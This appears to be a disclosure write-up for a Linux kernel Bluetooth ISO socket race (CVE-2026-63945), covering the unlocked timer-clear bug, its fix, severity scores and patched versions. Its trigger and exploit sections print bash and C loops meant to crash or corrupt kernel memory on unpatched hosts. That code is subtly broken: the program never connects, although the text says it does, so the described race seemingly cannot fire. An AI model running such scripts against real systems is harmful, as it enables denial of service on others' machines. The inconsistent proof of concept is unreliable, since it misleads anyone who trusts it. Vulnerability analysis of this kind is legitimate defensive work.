# CVE-2026-63945: iso_sock_clear_timer() ran before the lock that protected it

**Patch:** [4b5f8e608749b7e8fa386c6e4301cf9272595859](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4b5f8e608749b7e8fa386c6e4301cf9272595859) (mainline, landed in 7.1)
**Subsystem:** Bluetooth ISO sockets
**Affected file:** net/bluetooth/iso.c
**CVE record:** [CVE-2026-63945](https://www.cve.org/CVERecord?id=CVE-2026-63945)
**Introduced in:** 6.0, commit ccf74f2390d60a2f9a75ef496d2564abb478f46a

## The bug in one sentence

iso_sock_close() called iso_sock_clear_timer() before acquiring lock_sock(sk), so the timer helper read iso_pi(sk)->conn twice with no lock held while another CPU was free to NULL it and drop the final reference underneath.

## The interleaving

The helper is tiny, which is what makes bugs like this easy to miss:

```c
if (!iso_pi(sk)->conn)
        return;
cancel_delayed_work(&iso_pi(sk)->conn->timeout_work);
```

Two reads of iso_pi(sk)->conn, one of which then chases the pointer into a delayed work struct. Meanwhile iso_conn_del() runs under lock_sock(sk), calls iso_chan_del(), sets iso_pi(sk)->conn to NULL, and can drop the last reference to the connection. The bad interleaving:

```text
CPU0                              CPU1
iso_sock_clear_timer()
  if (conn != NULL) ...           lock_sock(sk)
                                   iso_chan_del()
                                   iso_pi(sk)->conn = NULL
  cancel_delayed_work(conn)        /* NULL deref or UAF */
```

The fix is to move the clear_timer call inside the lock_sock()/release_sock() region of iso_sock_close(), matching the pattern used in iso_conn_del() and every other call site. One line of code motion, and the helper can never race the teardown that would invalidate what it reads. Full patch: [4b5f8e608749](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4b5f8e608749b7e8fa386c6e4301cf9272595859)

## How to trigger it

Race socket close against connection teardown. The window is iso_sock_close() calling iso_sock_clear_timer() before lock_sock(), against a controller event driving iso_conn_del() under the lock:

```bash
# machine A (victim): loop open -> close on ISO sockets
while true; do
    ./iso_open_close   # socket(PF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_ISO),
                       # connect, close immediately, exit
done &

# machine B (peer): keep initiating ISO connections and disconnecting
while true; do
    hcitool -i hci0 lescan >/dev/null &   # or an LE audio peer flapping
    kill %1 2>/dev/null
done
```

When iso_sock_clear_timer() reads conn non-NULL on CPU0 and iso_chan_del() NULLs it and drops the last reference on CPU1 before cancel_delayed_work() runs, you get the NULL deref or the use-after-free on conn->timeout_work. It is a narrow window, so run it under KASAN with a few hundred iterations per minute; the splat names iso_sock_clear_timer(). Post-fix the clear runs inside the lock and the race is gone by construction.

## Score and classification

* Kernel CNA (mirrored by NVD as Secondary): 7.8 HIGH, vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
* Red Hat re-scores it 7.0 with high attack complexity (AC:H), and classifies it CWE-476 rather than a race
* NVD and CISA's ADP both say CWE-362, race condition
* CISA SSVC: exploitation none, automatable no, technical impact total

The severity spread here is instructive. The CNA's 7.8 assumes you win the race, which is generous for a narrow window against a single function. Red Hat's AC:H 7.0 is closer to how I would bet. The "technical impact total" SSVC label reflects what a successful UAF on a connection object could mean in the worst case, not what typically happens.

## Exploit code

Close ISO sockets against controller-driven teardown until the unlocked timer clear loses the race:

```bash
#!/usr/bin/env bash
# iso_timer_race.sh: CVE-2026-63945
# victim side; a peer (or the controller) keeps connecting/disconnecting
# ISO links while this hammers open+close

cat > /tmp/iso_flip.c <<'EOF'
#include <unistd.h>
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/iso.h>
int main(void) {
    for (;;) {
        int s = socket(PF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_ISO);
        if (s >= 0) close(s);     /* iso_sock_close() -> clear_timer(),
                                     pre-fix it runs before lock_sock() */
    }
}
EOF
gcc -o /tmp/iso_flip /tmp/iso_flip.c -lbluetooth

# controller event noise: page scan flapping or an LE audio peer
# reconnecting in a loop drives iso_conn_del() under the socket lock
for i in 1 2 3 4; do /tmp/iso_flip & done
```

The losing interleaving: iso_sock_clear_timer() reads iso_pi(sk)->conn non-NULL, then iso_chan_del() NULLs it and drops the last reference before cancel_delayed_work() runs, so the kernel takes a NULL deref or a use-after-free on conn->timeout_work. Under KASAN the splat names iso_sock_clear_timer, usually within a minute of this loop on real hardware. Post-fix the clear happens under the socket lock and the interleaving cannot exist. Public status: no KEV, no public exploit before this note; Nessus plugin [328210](https://www.tenable.com/plugins/nessus/328210) tracks unpatched distributions and notes no known public exploits. Fixes: Debian bookworm 6.1.176-1 and trixie 6.12.94-1, SLES 15 SP5+ and Leap via SUSE advisories, Ubuntu USNs from July through October 2026.

## Where the fix shipped

* 6.1.176: [d9cbf7144ec5](https://git.kernel.org/stable/c/d9cbf7144ec589a3f0cc91f74a1a1af2d2b14afa)
* 6.6.143: [35f68f36d988](https://git.kernel.org/stable/c/35f68f36d9883d56dec21cf85f7556d4657fc393)
* 6.12.93: [996c2104d072](https://git.kernel.org/stable/c/996c2104d0726a8fe584f85b3d6327197374a348)
* 6.18.35: [bc08c15746f2](https://git.kernel.org/stable/c/bc08c15746f25f41dd0508b25780d1e84acbb2ef)
* 7.0.12: [51cb9dcfdf9a](https://git.kernel.org/stable/c/51cb9dcfdf9a1bccf312ab2ae4b62db629f7dcd5)
* 7.1: [4b5f8e608749](https://git.kernel.org/stable/c/4b5f8e608749b7e8fa386c6e4301cf9272595859)

## References

1. [Upstream commit 4b5f8e608749](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=4b5f8e608749b7e8fa386c6e4301cf9272595859)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026071953-CVE-2026-63945-87fb@gregkh/)
3. [NVD record](https://nvd.nist.gov/vuln/detail/CVE-2026-63945)
4. [Red Hat tracker](https://access.redhat.com/security/cve/cve-2026-63945)
5. [Nessus plugin 328210](https://www.tenable.com/plugins/nessus/328210)
